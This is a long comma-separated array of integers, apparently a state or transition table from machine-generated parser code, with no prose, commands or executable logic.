666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,42516,42516,42516,42516,48069,42516,42516,30409,42516,25917,39868,39877,51215,51230,51237,29448,51253,21040,42516,42516,42516,27632,42516,42516,51474,42516,42516,42516,23517,42516,42516,23514,32629,20505,21066,18953,21068,18866,18919,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,42516,42516,42516,42516,36374,42516,42516,42516,42516,31102,50349,51296,51323,51307,51330,32370,51346,21040,42516,42516,42516,27632,42516,42516,51474,51382,42516,26083,42516,42516,42516,26079,32629,20505,21066,18953,21068,19019,18919,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,51399,25598,18486,18508,21522,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,42516,42516,42516,42516,48069,42516,42516,42516,42516,25917,42516,42516,42516,42516,42516,42516,42517,26099,42516,42516,42516,27632,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,34810,46363,42516,42516,42516,34304,42516,42516,42516,42516,42516,42516,42516,42516,28243,22657,22657,22657,22657,22341,46316,46316,46316,39789,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,22444,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,41766,42516,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,30361,22539,46316,46316,46316,46316,30525,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,23494,42516,42516,45092,51424,51429,51429,51451,23492,51445,51467,42516,42516,42516,42516,42516,42516,51474,42516,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,18919,18270,40105,18293,51497,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,51190,25598,18486,18508,19308,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,51517,20264,20301,20317,20346,20333,20349,20365,51553,20397,20422,20606,20438,20453,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,94506,94506,94506,94506,94506,94506,94506,94506,94506,94506,0,94506,90409,94506,94506,94506,94506,94506,94506,94506,94506,94506,365,94506,90409,94506,94506,94506,94506,94506,94506,94506,69632,73728,94506,94506,94506,94506,94506,65536,94506,12290,3,0,0,2183168,0,0,0,90409,94506,299,300,0,2134016,303,304,304,304,304,304,304,304,0,0,0,0,0,304,0,304,1,289,3,0,0,0,295,0,0,0,0,0,0,0,0,0,0,796,0,796,0,0,0,0,0,2424832,2433024,0,0,2457600,0,0,0,0,0,0,0,0,0,0,650,0,0,0,0,0,0,0,0,0,2904064,2908160,0,0,0,0,0,0,0,0,0,0,0,1685,1686,0,1688,0,0,0,0,3117056,0,0,0,0,0,0,0,365,365,0,0,0,0,0,0,448,0,0,474,474,474,474,474,474,474,474,474,474,474,474,474,474,474,474,559,582,559,582,559,559,582,0,0,0,2138112,0,0,0,0,0,0,0,0,0,0,0,0,0,2991,0,0,0,2772992,2805760,2830336,0,2863104,2920448,0,0,0,0,0,0,0,2805760,2920448,0,0,0,0,0,0,0,2732032,0,2179072,2179072,2179072,2179072,2424832,2433024,0,0,0,0,0,2920448,0,0,0,0,0,0,0,0,0,0,0,1702,0,1704,0,0,2179072,2830336,2179072,2179072,2863104,2179072,2179072,2179072,2179072,2920448,2179072,2179072,2179072,2179072,2179072,2179072,2126737,2126737,2126737,2126737,2126737,2593681,2126737,2126737,2126737,2126737,0,914,2125824,2125824,2125824,2125824,2125824,2424832,2433024,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,0,0,2125824,2125824,2125824,2125824,2723840,2125824,2732032,2772992,2125824,2125824,2125824,2805760,2125824,2830336,2125824,2125824,2863104,2125824,2125824,2125824,2125824,2920448,2125824,2125824,2125824,2125824,2125824,2920448,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,3117056,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2457600,2125824,2125824,2125824,2125824,2183168,0,0,0,0,0,0,0,0,0,0,661,0,661,0,0,0,2408448,0,0,2584576,0,0,0,0,2838528,0,0,2838528,0,0,0,0,0,2179072,2179072,2179072,2408448,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2625536,2179072,2179072,0,2125824,2125824,2125824,2408448,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,3125248,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2662400,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2801664,2813952,2125824,2125824,2801664,2813952,2125824,2838528,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2461696,0,0,0,0,0,0,0,0,0,0,0,0,2600960,0,0,0,0,0,0,2441,0,0,0,0,0,0,0,0,0,0,2493,2494,0,0,2497,0,2768896,2777088,2781184,0,2822144,0,0,2883584,0,0,0,0,0,0,0,0,0,0,0,0,3055616,0,0,0,3080192,3100672,3104768,0,0,0,0,3186688,0,0,0,0,0,0,0,307,204800,0,0,0,0,0,0,0,0,0,111051,111051,111051,111051,111051,111051,111051,111051,1,0,0,0,0,0,2797568,0,0,0,0,0,0,0,2850816,2867200,0,0,0,0,0,441,0,0,332,468,468,468,468,468,468,468,468,468,468,468,468,468,468,468,468,0,0,3133440,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2131,0,0,0,0,0,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2461696,2465792,2179072,2768896,2777088,2781184,2797568,2822144,2179072,2179072,2179072,2883584,2179072,2912256,2179072,2179072,2179072,2179072,2179072,2179072,2523136,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2600960,0,0,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2461696,2465792,2125824,0,1142784,0,2179072,2125824,2125824,2179072,2179072,2179072,2179072,2179072,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2592768,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,0,24576,988,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2523136,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2600960,2125824,0,2125824,2125824,2125824,2125824,2125824,0,0,0,0,0,0,0,0,0,0,541,1272,541,541,541,541,2125824,2125824,2125824,2641920,2125824,2125824,2125824,2125824,2125824,2125824,2719744,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,0,2125824,2125824,2125824,2125824,2125824,2125824,299,0,0,0,299,0,300,0,0,0,2768896,2777088,2781184,2797568,2822144,2125824,2125824,2125824,2883584,2125824,2912256,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,0,2125824,2126812,2125824,2125824,2125824,2125824,2125824,2125824,3133440,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,3207168,2125824,0,0,0,2179072,2125824,2125824,2179072,2179072,2179072,2179072,2179072,2125824,2125824,2125824,2125824,0,0,0,0,0,0,2510848,2514944,0,0,2125824,2125824,3133440,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,3207168,2125824,2179072,2125824,0,2125824,2125824,2125824,2125824,2125824,0,0,0,0,0,0,300,0,0,0,0,0,0,2764,0,0,0,0,0,0,0,0,0,0,2059,2060,0,2062,2063,0,0,0,0,2605056,0,0,0,0,2887680,0,2924544,0,0,0,0,0,0,0,2108,0,0,0,0,0,0,0,0,0,0,0,0,0,1177,0,0,0,0,0,0,3162112,3170304,0,0,3219456,3035136,0,0,0,0,0,3072e3,3190784,0,0,0,0,0,0,0,0,2576384,0,0,0,0,0,0,0,334,0,0,334,0,0,334,0,0,0,0,0,0,0,2387968,0,0,0,0,0,0,0,0,0,0,0,2050,0,0,0,0,3121152,3141632,0,0,0,2924544,0,2682880,0,0,0,0,0,0,3112960,2387968,2924544,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,3035136,2179072,2179072,3072e3,2179072,2179072,2179072,2179072,2699264,2179072,2715648,2179072,2723840,2179072,2732032,2772992,2179072,2179072,2179072,2805760,3121152,2179072,2179072,3141632,2179072,2179072,2179072,3170304,2179072,2179072,3190784,3194880,2179072,0,0,0,0,0,0,541,1734,541,541,541,541,541,541,1740,541,2125824,3190784,3194880,2125824,0,0,0,0,0,0,2387968,2125824,2125824,2125824,2420736,2125824,2125824,2125824,2125824,2125824,2453504,2125824,2473984,2125824,2736128,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2887680,2125824,2125824,2924544,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,0,0,0,2125824,2125824,2125824,2125824,2125824,3141632,2125824,2125824,2125824,3170304,2125824,2125824,3190784,3194880,2125824,2179072,2125824,2125824,2179072,2179072,2179072,2179072,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,299,0,300,3112960,3219456,2125824,2125824,3112960,3219456,2125824,2125824,3112960,3219456,0,0,0,0,0,0,0,347,0,405,0,0,0,0,0,405,3022848,0,0,3145728,0,3203072,0,0,0,0,0,0,0,0,0,0,0,2072,0,0,0,0,0,0,0,3067904,0,0,0,0,0,0,0,0,0,0,0,0,0,3003,0,0,0,0,0,2621440,0,3182592,2899968,0,2961408,0,0,2179072,2179072,2416640,2179072,2179072,2179072,2179072,2928640,2179072,2179072,2179072,2998272,2179072,2179072,2179072,2179072,3059712,2179072,2179072,2179072,2179072,3178496,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2494464,2125824,2125824,0,2179072,2125824,2125824,0,2179072,2125824,2125824,2985984,2985984,2985984,2985984,0,0,0,0,0,0,2490,0,0,0,0,0,0,0,0,0,335,0,0,0,0,0,0,2179072,2445312,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2551808,2179072,2179072,2179072,2179072,3178496,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2495377,2126737,2126737,2126737,2126737,2126737,3179409,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2495451,2126811,2895872,2916352,2179072,2179072,2945024,2179072,2179072,2994176,2179072,3002368,2179072,2179072,3022848,2179072,3067904,3084288,2125824,3096576,2125824,2125824,2125824,2125824,2125824,2125824,2125824,3223552,0,0,2125824,2125824,2416640,3096576,2179072,2179072,2179072,2179072,2179072,2179072,2179072,3223552,0,0,2125824,2125824,2416640,2125824,2125824,2125824,2125824,2125824,2125824,2125824,3035136,2125824,2125824,3072e3,2125824,2125824,2125824,3121152,2125824,2125824,3141632,2125824,2125824,2125824,3170304,2125824,2125824,2125824,2125824,2445312,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2551808,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2637824,2125824,2125824,2125824,2125824,2727936,2752512,2125824,2125824,2125824,2125824,2842624,2846720,2842624,2846720,2125824,2895872,2916352,2125824,2125824,2945024,2125824,2125824,2994176,2125824,3002368,2125824,2125824,3022848,2125824,3067904,2125824,3067904,3084288,2125824,3096576,2125824,2125824,2125824,2125824,2125824,2125824,2125824,3223552,2179072,2125824,2125824,2125824,2125824,2125824,2125824,2125824,3039232,2125824,3063808,2125824,2125824,2125824,2125824,2125824,3100672,2547712,2596864,0,0,0,0,0,0,0,0,0,0,0,0,0,3178496,2670592,0,2744320,0,0,0,0,0,2928640,0,0,0,3059712,0,2543616,2666496,0,2633728,0,0,0,0,0,0,2494464,0,0,0,0,0,0,0,0,0,2780,0,0,0,0,2785,0,0,0,0,2957312,0,0,0,0,0,0,0,0,0,0,0,0,0,3188,0,0,0,0,3211264,0,0,0,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2494464,2179072,2179072,2179072,2707456,2179072,2736128,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2887680,2179072,2179072,2179072,2179072,2641920,2179072,2179072,2179072,2179072,2179072,2179072,2719744,2179072,2179072,2179072,2179072,2179072,2179072,2179072,3137536,2126737,2126737,2499473,2126737,2126737,2126737,2556817,2565009,2179072,2514944,2179072,2179072,2179072,2543616,2547712,2179072,2179072,2596864,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,3039232,2179072,3063808,2179072,2179072,2179072,2179072,3100672,2125824,2125824,2125824,2125824,2125824,3178496,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2494464,2125824,0,2125824,2125824,2125824,2125824,2125824,0,0,0,0,1080,1084,0,0,1088,2125824,2514944,2125824,2125824,2125824,2543616,2547712,2125824,2125824,2596864,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2928640,2125824,2125824,2125824,2998272,2125824,2125824,2125824,2125824,3059712,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,3178496,2179072,2125824,2125824,2179072,2179072,2125824,2125824,2125824,2125824,0,2486272,0,0,0,0,0,2678784,2854912,3006464,2441216,0,0,0,0,0,0,0,0,0,2932736,2965504,0,0,3076096,0,0,0,0,0,444,0,0,0,0,0,0,0,0,0,0,407,0,0,0,0,0,0,2695168,3174400,2646016,2613248,2703360,0,0,0,0,2977792,0,0,3047424,3129344,0,0,0,0,0,645,0,0,648,649,0,0,0,0,0,0,0,725,0,0,0,0,0,0,0,0,0,743,0,0,0,0,0,0,0,0,0,0,0,0,2769,0,0,0,2981888,2396160,0,3153920,0,0,0,0,0,0,0,0,2740224,0,0,0,0,0,0,541,3027,541,541,541,541,541,541,541,541,541,2584,541,541,541,0,0,0,0,0,2793472,0,0,0,0,0,2469888,2506752,2756608,0,0,2580480,0,0,0,0,0,0,2517,0,0,0,0,0,0,0,0,541,541,541,3029,541,541,541,541,541,541,0,2396160,2400256,2179072,2179072,2441216,2179072,2469888,2179072,2179072,2179072,2519040,2179072,2179072,2179072,2179072,2179072,2179072,2801664,2813952,2179072,2838528,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2453504,2179072,2473984,2482176,2179072,2179072,2179072,2179072,2588672,2179072,2613248,2646016,2179072,2179072,2695168,2756608,2179072,2179072,2179072,2932736,2179072,2179072,2179072,2179072,2179072,3117056,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2584576,2179072,2179072,2125824,2125824,2125824,2519040,2125824,2125824,2125824,2125824,2588672,2125824,2613248,2646016,2125824,2125824,2695168,2756608,2125824,2125824,2125824,2125824,2932736,2125824,2125824,2125824,2125824,2125824,2932736,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,3129344,2125824,2125824,3153920,3166208,3174400,2506752,2506752,2506752,0,3108864,3198976,0,0,3043328,0,3149824,2936832,0,2760704,3180,2437120,0,0,0,0,0,0,646,0,0,0,0,651,652,653,654,655,0,0,0,0,0,2953216,0,0,2826240,3158016,2428928,0,3018752,2764800,2572288,0,0,0,0,0,677,0,0,0,0,0,0,0,0,0,0,0,2741,0,0,0,0,0,3051520,2179072,2428928,2437120,2179072,2486272,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2654208,2678784,2760704,2764800,2854912,2969600,2179072,3006464,2179072,3018752,2179072,2179072,2179072,3149824,2125824,2428928,2437120,2969600,2125824,3006464,2125824,3018752,2125824,2125824,2125824,2125824,3149824,2125824,2428928,2437120,2125824,2486272,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2654208,2678784,2760704,2764800,2785280,2854912,2969600,2125824,3006464,2125824,3018752,2125824,2125824,2125824,2125824,3149824,2179072,3051520,2125824,3051520,2125824,3051520,0,2490368,2498560,0,0,0,0,2875392,0,0,0,3180,0,0,0,0,0,0,2834432,0,3227648,2568192,2564096,0,2940928,2179072,2179072,2498560,2179072,2179072,2179072,2555904,2564096,2179072,2179072,2179072,2617344,2179072,2179072,2179072,2179072,2179072,2179072,2662400,2179072,2179072,2179072,2179072,2179072,2179072,2179072,3137536,2125824,2125824,2498560,2125824,2125824,2125824,2555904,2564096,2125824,2555904,2564096,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,3137536,2940928,2940928,0,0,0,0,0,2748416,2879488,0,0,0,0,0,0,0,0,0,2519,0,0,0,0,0,541,2940928,0,0,0,0,0,2748416,2879488,0,3180,0,0,0,0,0,0,0,375,0,0,0,0,0,0,0,360,0,0,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2125824,0,2502656,0,0,3010560,0,0,0,0,0,0,0,0,2990080,2179072,2179072,2179072,3129344,2179072,2179072,3153920,3166208,3174400,2396160,2400256,2125824,2125824,2441216,2125824,2469888,2125824,2125824,2125824,2519040,2125824,2125824,2179072,2502656,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,3010560,2179072,2179072,2125824,2125824,2125824,2125824,2125824,2125824,2605056,2125824,2629632,2125824,2125824,2650112,2125824,2125824,2125824,2707456,2125824,2736128,2125824,2125824,2125824,2125824,2125824,2502656,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,3010560,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,3137536,2125824,2125824,2498560,2125824,2125824,2502656,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,3010560,2125824,2125824,2125824,0,0,0,0,0,0,2739,0,0,0,0,0,0,0,2743,0,0,0,2592768,0,0,0,0,0,0,2179072,2179072,2179072,2179072,2179072,2592768,2179072,2179072,2179072,3129344,2179072,2179072,3153920,3166208,3174400,2397073,2401169,2126737,2126737,2442129,2126737,2470801,2125824,2125824,2449408,0,2535424,3031040,2859008,0,0,0,0,0,2179072,2449408,2179072,2535424,2179072,2609152,2179072,2859008,2179072,2179072,2179072,3031040,2125824,2449408,2125824,2535424,2125824,2609152,2125824,2859008,2125824,2125824,2125824,3031040,2125824,2125824,2449408,2125824,2535424,2125824,2609152,2125824,2859008,2125824,2125824,2125824,0,2179072,2125824,2125824,2457600,2179072,2179072,2179072,2179072,2457600,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2179072,2125824,2125824,2179072,2179072,2179072,2179072,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,0,0,0,0,0,0,0,0,0,0,0,1727,0,0,1728,0,3031040,2125824,2527232,0,0,0,0,0,2179072,2527232,2179072,2179072,2179072,2179072,2179072,2125824,2126738,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,3125248,2125824,2125824,2125824,2125824,2125824,2527232,2125824,2125824,2125824,2125824,2125824,3092480,2125824,2527232,2125824,2125824,2125824,2125824,2125824,3092480,0,0,0,0,0,693,0,0,0,0,0,0,365,365,365,0,0,0,0,0,707,708,0,0,0,0,0,714,0,0,0,0,0,0,703,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3020,3026944,0,0,0,2404352,2179072,2179072,2179072,2179072,3026944,2404352,2125824,2125824,2125824,2125824,3026944,0,2539520,0,2949120,2179072,2658304,2973696,2179072,2125824,2658304,2973696,2125824,2125824,2658304,2973696,2125824,0,2711552,256e4,2179072,256e4,2125824,256e4,2125824,0,2179072,2179072,2531328,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2605056,2179072,2629632,2179072,2179072,2650112,0,0,2809856,0,0,0,0,0,0,0,0,0,0,3088384,0,0,0,0,0,442,0,0,454,470,470,470,470,470,470,470,470,470,470,480,470,470,470,470,470,111051,111051,111051,111051,111051,111051,111051,111051,111051,111051,111051,111051,111051,111051,111051,111051,459,459,111051,459,459,459,459,459,459,459,459,459,111051,111051,111051,111051,111051,111051,111051,111051,111051,111051,459,111051,111051,111051,459,111051,111051,111051,111051,111051,0,0,0,0,0,0,0,0,0,2795,0,0,0,0,0,0,12290,3,0,0,2183168,0,0,0,0,0,299,300,0,2134016,303,304,2125824,1060,0,0,2179072,2125824,2125824,2179072,2179072,2179072,2179072,2179072,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,1060,2125824,2125824,2125824,2125824,2125824,0,0,0,0,0,0,0,0,0,0,662,0,662,0,0,0,0,303,118784,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2434,0,303,303,303,303,303,303,303,0,0,0,0,0,303,0,303,1,12290,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2155,0,12290,3,0,0,2183168,0,0,0,0,0,33403,300,0,2134016,49791,304,2105632,12290,3,0,0,294,0,0,0,0,294,0,0,0,0,0,0,0,2124,0,0,0,0,0,0,0,0,0,788,814,0,814,809,0,0,0,122880,122880,122880,122880,122880,122880,122880,122880,122880,122880,122880,122880,122880,122880,122880,0,0,0,122880,0,122880,122880,122880,0,0,0,0,0,122880,0,0,122880,0,0,0,0,0,0,0,0,122880,0,0,0,0,0,0,0,0,0,0,0,0,3002,0,0,0,0,0,0,0,0,122880,122880,122880,122880,122880,122880,122880,122880,122880,0,0,122880,0,0,0,0,0,0,0,0,0,0,712,0,0,0,716,0,0,0,147456,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2459,0,1092,0,2424832,2433024,0,0,2457600,0,0,0,0,0,0,0,0,0,0,728,0,0,0,0,0,1823,2125824,2125824,2125824,2408448,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,0,1919,2125824,2125824,2125824,0,0,0,131072,0,0,0,69632,73728,0,0,0,0,0,65536,0,0,0,0,0,740,407,0,0,0,0,0,0,0,0,0,0,1158,0,0,0,0,0,0,131072,0,0,131072,131072,0,0,0,0,0,0,0,131072,0,0,131072,0,0,131072,0,0,0,0,135168,135168,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2756,0,0,0,0,135168,0,0,135168,0,0,0,0,0,0,0,0,0,0,735,0,797,0,0,0,0,0,0,0,135168,0,135168,135168,135168,135168,135168,135168,0,135168,135168,135168,135168,135168,135168,135168,0,0,0,0,0,135168,0,135168,1,12290,3,0,0,2183168,0,0,0,0,0,636,637,0,2134016,640,641,0,1361,2125824,2125824,2125824,2125824,2125824,2424832,2433024,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,0,0,987,2125824,2125824,2125824,2125824,0,304,139264,0,0,0,0,0,0,0,0,0,0,0,0,0,0,225709,0,12290,3,0,0,2183168,0,0,0,0,0,299,33406,0,2134016,303,49794,0,61440,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3178,0,304,2424832,2433024,0,0,2457600,0,0,0,0,0,0,0,0,0,0,757,0,0,0,0,762,301,301,301,143661,371,301,301,301,301,301,301,301,301,301,301,301,301,301,301,301,301,143661,301,301,143661,301,301,301,143731,301,301,301,143731,69632,73728,301,301,143661,301,301,65536,301,301,301,301,301,143661,143661,143661,143661,143661,143661,143661,143661,143661,301,301,143661,301,301,301,301,301,301,301,301,301,366,301,0,143661,301,301,301,143661,143661,143661,143661,143661,143661,143661,143661,143661,143661,143661,143661,143661,143661,143661,143661,301,301,301,143661,301,143661,143661,143661,143661,143661,143731,143661,143731,143731,143731,143731,143731,143731,143731,143661,143661,143661,143661,143661,143661,143661,143661,1,301,143661,301,143661,143661,143661,143661,143661,143661,301,0,301,0,301,301,301,301,301,301,301,301,301,143661,301,143661,143661,143661,143661,301,0,0,0,3117056,0,0,0,0,0,0,0,2200252,2200252,0,0,0,0,0,0,662,0,0,0,0,0,541,541,541,541,541,541,541,541,2168,541,541,541,0,0,0,0,0,155648,155648,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,325,0,0,0,0,155648,155648,0,155648,155648,155648,155648,155648,155648,155648,155648,155648,0,0,0,0,155648,0,0,155648,155648,155648,155648,155648,155648,155648,155648,155648,155648,155648,155648,155648,155648,155648,155648,0,0,0,0,0,155648,0,155648,0,0,0,0,0,155648,0,0,0,0,0,155648,155648,0,155648,155648,0,12290,3,0,0,2183168,126976,0,0,0,0,299,300,0,2134016,303,304,0,0,0,3117056,0,0,0,0,0,0,0,365,0,0,0,0,0,0,0,3563,0,541,541,541,541,541,541,541,541,541,3209,541,541,541,541,541,159744,159744,159744,159744,0,0,159744,0,0,0,0,0,0,0,0,159744,0,0,0,0,0,0,0,159744,159744,159744,163840,159744,159744,159744,159744,159744,0,0,0,0,0,0,0,0,0,2805,0,541,541,541,541,541,0,25162,0,0,0,159744,0,0,0,25162,25162,25162,159744,25162,25162,25162,25162,25162,25162,25162,25162,159744,159744,159744,159744,25162,159744,25162,1,167936,167936,167936,167936,167936,167936,167936,167936,167936,167936,167936,167936,167936,167936,167936,167936,1,167936,167936,167936,167936,0,0,167936,0,0,0,0,0,0,0,0,167936,167936,167936,167936,167936,167936,167936,167936,167936,0,0,0,0,0,0,0,0,0,2976,0,0,0,0,0,0,0,0,0,2138112,1183,0,0,0,0,0,0,0,0,0,0,0,0,3168,0,0,0,0,0,0,0,0,172032,0,172032,0,0,0,0,0,0,0,0,0,365,0,293,0,0,0,348,172032,172032,0,0,172032,0,0,172032,172032,0